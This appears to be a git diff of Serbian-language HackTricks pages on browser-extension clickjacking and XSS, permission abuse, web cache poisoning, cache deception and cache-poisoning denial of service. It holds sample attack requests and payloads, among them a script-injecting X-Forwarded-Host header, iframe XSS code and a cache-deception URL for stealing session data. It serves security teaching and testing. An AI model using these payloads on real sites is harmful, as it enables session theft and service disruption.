> Ovi resursi bi zatim bili dostupni na veb stranici putem URL-a **`chrome-extension://[PACKAGE ID]/[PATH]`**, koji se može generisati pomoću **`extension.getURL method`**. Resursi sa dozvolama se isporučuju sa odgovarajućim CORS zaglavljima, tako da su dostupni putem mehanizama kao što je XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
> Ovi resursi bi zatim bili dostupni na veb stranici putem URL-a **`chrome-extension://[PACKAGE ID]/[PATH]`**, koji se može generisati pomoću **`extension.getURL method`**. Resursi na beloj listi se isporučuju sa odgovarajućim CORS zaglavljima, tako da su dostupni putem mehanizama kao što je XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
**`web_accessible_resources`** u ekstenziji pregledača nisu dostupni samo putem veba; oni takođe funkcionišu sa inherentnim privilegijama ekstenzije. To znači da imaju sposobnost da:
**`web_accessible_resources`** u ekstenziji za pregledač nisu dostupni samo putem veba; oni takođe funkcionišu sa inherentnim privilegijama ekstenzije. To znači da imaju sposobnost da:
- Promene stanje ekstenzije
- Učitaju dodatne resurse
- Interaguju sa pregledačem do određene mere
Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs unutar **`web_accessible_resources`** ima bilo kakvu značajnu funkcionalnost, napadač bi potencijalno mogao da ugradi ovaj resurs u eksternu veb stranicu. Neoprezni korisnici koji posete ovu stranicu mogli bi nenamerno aktivirati ovaj ugrađeni resurs. Takva aktivacija mogla bi dovesti do nepredviđenih posledica, u zavisnosti od dozvola i sposobnosti resursa ekstenzije.
Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs unutar **`web_accessible_resources`** ima bilo kakvu značajnu funkcionalnost, napadač bi potencijalno mogao da ugradi ovaj resurs u eksternu veb stranicu. Neoprezni korisnici koji posete ovu stranicu mogli bi nenamerno aktivirati ovaj ugrađeni resurs. Takva aktivacija mogla bi dovesti do nepredviđenih posledica, u zavisnosti od dozvola i mogućnosti resursa ekstenzije.
## Primer PrivacyBadger
U ekstenziji PrivacyBadger, identifikovana je ranjivost povezana sa `skin/` direktorijumom koji je proglašen kao `web_accessible_resources` na sledeći način (Proverite originalni [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
U ekstenziji PrivacyBadger, identifikovana je ranjivost povezana sa `skin/` direktorijumom koji je deklarisan kao `web_accessible_resources` na sledeći način (Proverite originalni [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
]
```
Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Konkretno, `skin/popup.html` fajl, koji se prikazuje prilikom interakcije sa ikonom PrivacyBadger u pretraživaču, mogao bi biti ugrađen unutar `iframe`. Ova ugradnja bi mogla biti iskorišćena da prevari korisnike da nenamerno kliknu na "Disable PrivacyBadger for this Website". Takva akcija bi kompromitovala privatnost korisnika onemogućavanjem zaštite PrivacyBadger i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ove eksploatacije može se videti u ClickJacking video primeru koji je dostupan na [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Konkretno, `skin/popup.html` datoteka, koja se prikazuje prilikom interakcije sa ikonom PrivacyBadger u pretraživaču, mogla bi biti ugrađena unutar `iframe`. Ova ugradnja bi mogla biti iskorišćena da prevari korisnike da nenamerno kliknu na "Disable PrivacyBadger for this Website". Takva akcija bi kompromitovala privatnost korisnika onemogućavanjem zaštite PrivacyBadger i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ovog eksploata može se videti u ClickJacking video primeru koji je dostupan na [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Da bi se rešila ova ranjivost, implementirano je jednostavno rešenje: uklanjanje `/skin/*` iz liste `web_accessible_resources`. Ova promena je efikasno smanjila rizik osiguravajući da sadržaj `skin/` direktorijuma ne može biti pristupljen ili manipulisan putem web-pristupa.
@ -79,7 +79,7 @@ A [**blog post about a ClickJacking in metamask can be found here**](https://slo
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
**Još jedan ClickJacking ispravljen** u Metamask ekstenziji bio je taj što su korisnici mogli da **Click to whitelist** kada je stranica bila sumnjiva zbog `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kako je ta stranica bila ranjiva na Clickjacking, napadač je mogao da je zloupotrebi prikazujući nešto normalno kako bi naterao žrtvu da je stavi na belu listu bez da primeti, a zatim se vrati na phishing stranicu koja će biti stavljena na belu listu.
**Još jedan ClickJacking ispravljen** u Metamask ekstenziji bio je taj što su korisnici mogli da **Click to whitelist** kada je stranica bila sumnjiva zbog `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kako je ta stranica bila ranjiva na Clickjacking, napadač je mogao da je iskoristi prikazujući nešto normalno kako bi naterao žrtvu da je stavi na belu listu bez da primeti, a zatim se vrati na phishing stranicu koja će biti stavljena na belu listu.
## Steam Inventory Helper Primer

View File

@ -8,7 +8,7 @@
Dozvole su definisane u **`manifest.json`** datoteci ekstenzije koristeći **`permissions`** svojstvo i omogućavaju pristup gotovo svemu što pretraživač može da pristupi (Kolačići ili Fizička pohrana):
Prethodni manifest obaveštava da ekstenzija zahteva `storage` dozvolu. To znači da može koristiti [API za pohranu](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) za trajno čuvanje svojih podataka. Za razliku od kolačića ili `localStorage` API-ja koji korisnicima daju određeni nivo kontrole, **pohrana ekstenzije se obično može obrisati samo deinstaliranjem ekstenzije**.
Prethodni manifest obaveštava da ekstenzija zahteva `storage` dozvolu. To znači da može koristiti [API za skladištenje](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) za trajno čuvanje svojih podataka. Za razliku od kolačića ili `localStorage` API-ja koji korisnicima daju određeni nivo kontrole, **skladištenje ekstenzije se obično može obrisati samo deinstaliranjem ekstenzije**.
Ekstenzija će zatražiti dozvole navedene u svojoj **`manifest.json`** datoteci, a nakon instalacije ekstenzije, možete **uvek proveriti njene dozvole u svom pretraživaču**, kao što je prikazano na ovoj slici:
@ -37,7 +37,7 @@ Sledeće `host_permissions` u suštini omogućavaju svaki web:
"<all_urls>"
]
```
Ovo su hostovi kojima ekstenzija pregledača može slobodno pristupiti. To je zato što kada ekstenzija pregledača poziva **`fetch("https://gmail.com/")`**, nije ograničena CORS-om.
Ovo su hostovi kojima ekstenzija pregledača može slobodno pristupiti. To je zato što kada ekstenzija pregledača pozove **`fetch("https://gmail.com/")`**, nije ograničena CORS-om.
## Zloupotreba `permissions` i `host_permissions`
@ -79,11 +79,11 @@ Verovatno znate da web stranice mogu tražiti posebne dozvole, npr. da pristupe
Obično, ekstenzija to čini odmah nakon instalacije. Kada se ova poruka prihvati, **pristup web kameri je moguć u bilo kojem trenutku**, čak i ako korisnik u tom trenutku ne interaguje sa ekstenzijom. Da, korisnik će prihvatiti ovu poruku samo ako ekstenzija zaista treba pristup web kameri. Ali nakon toga moraju verovati ekstenziji da neće tajno snimati ništa.
Sa pristupom [vašoj tačnoj geografskoj lokaciji](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ili [sadržaju vašeg clipboard-a](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), eksplicitno davanje dozvole nije uopšte neophodno. **Ekstenzija jednostavno dodaje `geolocation` ili `clipboard` u** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **njegovog manifesta**. Ove privilegije pristupa se zatim implicitno dodeljuju kada se ekstenzija instalira. Tako zla ili kompromitovana ekstenzija sa ovim privilegijama može stvoriti vaš profil kretanja ili pratiti vaš clipboard za kopirane lozinke bez da primetite bilo šta.
Sa pristupom [vašoj tačnoj geografskoj lokaciji](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ili [sadržaju vašeg clipboard-a](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), eksplicitno davanje dozvole nije uopšte potrebno. **Ekstenzija jednostavno dodaje `geolocation` ili `clipboard` u** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **njegovog manifesta**. Ove privilegije pristupa se zatim implicitno dodeljuju kada se ekstenzija instalira. Tako zla ili kompromitovana ekstenzija sa ovim privilegijama može stvoriti vaš profil kretanja ili pratiti vaš clipboard za kopirane lozinke bez da primetite bilo šta.
Dodavanje **`history`** ključne reči u [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) manifesta ekstenzije dodeljuje **pristup** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Omogućava preuzimanje celokupne istorije pretraživanja korisnika odjednom, bez čekanja da korisnik ponovo poseti te web stranice.
**`bookmarks`** **dozvola** ima sličan potencijal za zloupotrebu, ova dozvola omogućava **čitanje svih oznaka putem** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
Dozvola **`bookmarks`** ima sličan potencijal za zloupotrebu, ova dozvola omogućava **čitati sve oznake putem** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
### Dozvola za skladištenje <a href="#the-storage-permission" id="the-storage-permission"></a>
@ -101,7 +101,7 @@ Politika Google-ovih developera izričito zabranjuje ekstenzijama da traže viš
Pregledači bi mogli dalje ograničiti zloupotrebu privilegija ekstenzija. Na primer, Chrome-ovi [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) i [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API, korišćeni za snimanje ekrana, dizajnirani su da minimiziraju zloupotrebu. tabCapture API može se aktivirati samo kroz direktnu interakciju korisnika, kao što je klik na ikonu ekstenzije, dok desktopCapture zahteva potvrdu korisnika za prozor koji treba snimiti, sprečavajući tajne aktivnosti snimanja.
Međutim, pooštravanje mera bezbednosti često rezultira smanjenjem fleksibilnosti i korisničke prijateljskosti ekstenzija. [activeTab dozvola](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustruje ovu razmenu. Uvedena je da eliminiše potrebu za ekstenzijama da traže privilegije hosta širom interneta, omogućavajući ekstenzijama da pristupaju samo trenutnoj kartici po eksplicitnoj aktivaciji od strane korisnika. Ovaj model je efikasan za ekstenzije koje zahtevaju akcije inicirane od strane korisnika, ali nije dovoljan za one koje zahtevaju automatske ili preventivne akcije, čime se kompromituje pogodnost i trenutna reakcija.
Međutim, pooštravanje mera bezbednosti često rezultira smanjenjem fleksibilnosti i korisničke prijateljskosti ekstenzija. [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustruje ovu razmenu. Uvedena je da eliminiše potrebu za ekstenzijama da traže privilegije hosta širom interneta, omogućavajući ekstenzijama da pristupaju samo trenutnoj kartici po eksplicitnoj aktivaciji od strane korisnika. Ovaj model je efikasan za ekstenzije koje zahtevaju akcije inicirane od strane korisnika, ali nije dovoljan za one koje zahtevaju automatske ili preventivne akcije, čime se kompromituje pogodnost i trenutna reakcija.
## **Reference**

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Cross-Site Scripting (XSS) putem Iframe-a
## Cross-Site Scripting (XSS) putem Iframe
U ovoj postavci, **content script** se implementira da instancira Iframe, uključujući URL sa upitnim parametrima kao izvor Iframe-a:
```javascript
@ -29,7 +29,7 @@ chrome.tabs.create({ url: destinationURL })
})
})
```
Na stranici protivnika izvršava se zlonamerni skript, modifikujući `content` parametar izvora Iframe-a kako bi se uveo **XSS payload**. To se postiže ažuriranjem izvora Iframe-a da uključuje štetni skript:
Na stranici protivnika izvršava se zlonamerni skript, modifikujući `content` parametar izvora Iframe-a kako bi se uveo **XSS payload**. To se postiže ažuriranjem izvora Iframe-a da uključuje štetan skript:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
@ -78,13 +78,13 @@ $("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
```
Ovaj deo koda preuzima **vrednost** iz **`txtName`** ulaznog polja i koristi **spajanje stringova za generisanje HTML-a**, koji se zatim dodaje u DOM koristeći jQuery-ovu `.append()` funkciju.
Ovaj deo koda preuzima **vrednost** iz **`txtName`** ulaznog polja i koristi **spajanje stringova za generisanje HTML-a**, koji se zatim dodaje u DOM koristeći jQuery-ovu funkciju `.append()`.
Obično bi Chrome ekstenzija Content Security Policy (CSP) sprečila takve ranjivosti. Međutim, zbog **opuštanja CSP-a sa unsafe-eval** i korišćenja jQuery-ovih metoda manipulacije DOM-om (koje koriste [`globalEval()`](https://api.jquery.com/jquery.globaleval/) za prosleđivanje skripti u [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) prilikom umetanja u DOM), eksploatacija je i dalje moguća.
Obično, Content Security Policy (CSP) Chrome ekstenzije bi sprečila takve ranjivosti. Međutim, zbog **opuštanja CSP-a sa unsafe-eval** i korišćenja jQuery-ovih metoda manipulacije DOM-om (koje koriste [`globalEval()`](https://api.jquery.com/jquery.globaleval/) za prosleđivanje skripti u [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) prilikom umetanja u DOM), eksploatacija je i dalje moguća.
Iako je ova ranjivost značajna, njena eksploatacija obično zavisi od interakcije korisnika: posete stranici, unošenja XSS payload-a i aktiviranja dugmeta “Add”.
Da bi se pojačala ova ranjivost, koristi se sekundarna **clickjacking** ranjivost. Manifest Chrome ekstenzije prikazuje opširnu `web_accessible_resources` politiku:
Da bi se pojačala ova ranjivost, koristi se sekundarna **clickjacking** ranjivost. Manifest Chrome ekstenzije prikazuje opširnu politiku `web_accessible_resources`:
```json
"web_accessible_resources": [
"html/bookmarks.html",
@ -94,7 +94,7 @@ Da bi se pojačala ova ranjivost, koristi se sekundarna **clickjacking** ranjivo
[...]
],
```
Značajno, stranica **`/html/bookmarks.html`** je podložna uokviravanju, što je čini ranjivom na **clickjacking**. Ova ranjivost se koristi za uokviravanje stranice unutar napadačeve stranice, prekrivajući je DOM elementima kako bi se obmanjujuće redizajniralo korisničko sučelje. Ova manipulacija dovodi žrtve do nehotice interakcije sa osnovnom ekstenzijom.
Značajno, stranica **`/html/bookmarks.html`** je podložna okviru, što je čini ranjivom na **clickjacking**. Ova ranjivost se koristi za postavljanje stranice unutar napadačeve lokacije, prekrivajući je DOM elementima kako bi se obmanjivo preuredio interfejs. Ova manipulacija dovodi žrtve do nehotice interakcije sa osnovnom ekstenzijom.
## References

View File

@ -47,16 +47,16 @@ Sa identifikovanim parametrom/hedderom proverite kako se **sanitizuje** i **gde*
### Dobijanje keširanog odgovora
Kada ste **identifikovali** **stranicu** koja se može zloupotrebiti, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.
Kada identifikujete **stranicu** koja može biti zloupotrebljena, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.
Heder **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan.\
Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800`
Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično neključevi. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`.
Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično bez ključa. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`.
Još jedan heder povezan sa kešom je **`Age`**. Definiše vreme u sekundama koliko je objekat bio u proxy kešu.
Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od njih mogu biti **nepredviđeno** korišćeni kao **ključni** i **žrtva će morati da koristi taj isti heder**. Uvek **testirajte** Cache Poisoning sa **različitim pretraživačima** da proverite da li funkcioniše.
Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od njih mogu biti **nepredviđeno** korišćeni kao **ključ** i **žrtva će morati da koristi taj isti heder**. Uvek **testirajte** Cache Poisoning sa **različitim pretraživačima** da proverite da li funkcioniše.
## Primeri eksploatacije
@ -71,15 +71,15 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Napomena da će ovo otrovati zahtev za `/en?region=uk`, a ne za `/en`_
### Trovanje keša za DoS
### Trovanje kešom za DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Korišćenje trovanja web keša za iskorišćavanje ranjivosti u rukovanju kolačićima
### Korišćenje trovanja web kešom za iskorišćavanje ranjivosti u rukovanju kolačićima
Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih zloupotrebite da izazovete XSS, na primer, mogli biste da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni odgovor iz keša.
Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih zloupotrebite da izazovete XSS, na primer, mogli biste da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni keš odgovor.
```markup
GET / HTTP/1.1
Host: vulnerable.com
@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md
### Trovanje keša sa prelazom putanje za krađu API ključa <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera.
[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što se poklapa sa `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera.
Ovo je takođe bolje objašnjeno u:
@ -114,7 +114,7 @@ Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Iskorišćavanje sa ograničenim `Vary` headerom
### Iskorišćavanje sa ograničenim `Vary` header-om
Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da exfiltrirate User-Agent žrtve i otrovate keš koristeći taj user agent:
```markup
@ -138,25 +138,25 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
### Parameter Cloacking
Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i zloupotrebu njih.
Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i njihovo zloupotrebljavanje.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Saznajte ovde kako izvesti [Cache Poisoning napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje web cache poisoning. Podržava mnoge različite tehnike i veoma je prilagodljiv.
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
Primer korišćenja: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit.
ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat ka backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit.
### GitHub CP-DoS
@ -164,7 +164,7 @@ Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor.
### GitLab + GCP CP-DoS
GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`.
GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Buckets** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`.
### Rack Middleware (Ruby on Rails)
@ -184,7 +184,7 @@ Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima v
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) definiše prihvatljive karaktere u nazivima headera. Headeri koji sadrže karaktere van specificiranog **tchar** opsega bi idealno trebali izazvati 400 Bad Request odgovor. U praksi, serveri ne prate uvek ovaj standard. Značajan primer je Akamai, koji prosleđuje header-e sa nevažećim karakterima i kešira svaku 400 grešku, sve dok `cache-control` header nije prisutan. Identifikovan je iskoristiv obrazac gde slanje headera sa nelegalnim karakterom, kao što je `\`, rezultira keširanim 400 Bad Request greškom.
The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.
### Finding new headers
@ -192,9 +192,9 @@ Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima v
## Cache Deception
Cilj Cache Deception-a je da natera klijente **da učitaju resurse koji će biti sačuvani od strane keša sa njihovim osetljivim informacijama**.
Cilj Cache Deception-a je da se klijenti **učitavaju resurse koji će biti sačuvani od strane keša sa njihovim osetljivim informacijama**.
Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replay-uje** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika.
Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako **aplikacija** **ponavlja** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika.
Druge stvari za testiranje:
@ -203,19 +203,19 @@ Druge stvari za testiranje:
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Koristite manje poznate ekstenzije kao što su_ `.avif`
- _Use lesser known extensions such as_ `.avif`
Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\
Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili.
Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što se očekuje za _.css_ datoteku).
Napomena da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime type (što se očekuje za _.css_ datoteku).
Saznajte ovde kako izvesti [Cache Deceptions napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skener za pronalaženje ranjivosti web cache poisoning u listi URL-ova i testiranje više tehnika injekcije.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skener za pronalaženje ranjivosti keširanja weba u listi URL-ova i testiranje više tehnika injekcije.
## References

View File

@ -15,7 +15,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
```
- **HTTP Meta Character (HMC) & Neočekivane vrednosti**
Pošaljite zaglavlje koje sadrži neke **štetne meta karaktere** kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš.
Pošaljite header koji sadrži neke **štetne meta karaktere** kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš.
```
GET / HTTP/1.1
Host: redacted.com
@ -63,7 +63,7 @@ Cache: miss
```
- **Long Redirect DoS**
Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmerenje da napravi preusmerenje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekeširanog x ključa dobiti odgovor sa greškom:
Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmeravanje da napravi preusmeravanje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekovanog x ključa dobiti odgovor sa greškom:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
@ -92,7 +92,7 @@ Not Found
```
- **Normalizacija putanje**
Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, keš server će URLdecode putanju i sačuvati odgovor za URLdecoded putanju:
Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, cache server će URLdecode-ovati putanju i sačuvati odgovor za URLdecoded putanju:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com

View File

@ -2,21 +2,20 @@
{{#include ../../banners/hacktricks-training.md}}
Ovo je sažetak tehnika predloženih u postu [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) kako bi se izvršili napadi na trošenje keša **zloupotrebljavajući razlike između keš proxy-a i web servera.**
Ovo je sažetak tehnika predloženih u postu [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) kako bi se izvršili napadi na keš **zloupotrebljavajući razlike između keš proxy-a i web servera.**
> [!NOTE]
> Cilj ovog napada je da **natera keš server da pomisli da se učitava statički resurs** tako da ga kešira dok keš server čuva deo putanje kao ključ keša, ali web server odgovara rešavajući drugu putanju. Web server će rešiti pravu putanju koja će učitati dinamičku stranicu (koja može sadržati osetljive informacije o korisniku, zlonamerni payload poput XSS ili preusmeravanje za učitavanje JS datoteke sa sajta napadača, na primer).
> Cilj ovog napada je da **natera keš server da pomisli da se učitava statički resurs** tako da ga kešira dok keš server čuva deo putanje kao keš ključ, ali web server odgovara rešavajući drugu putanju. Web server će rešiti pravu putanju koja će učitati dinamičku stranicu (koja može čuvati osetljive informacije o korisniku, zlonamerni payload poput XSS ili preusmeravanje za učitavanje JS datoteke sa sajta napadača, na primer).
## Delimiters
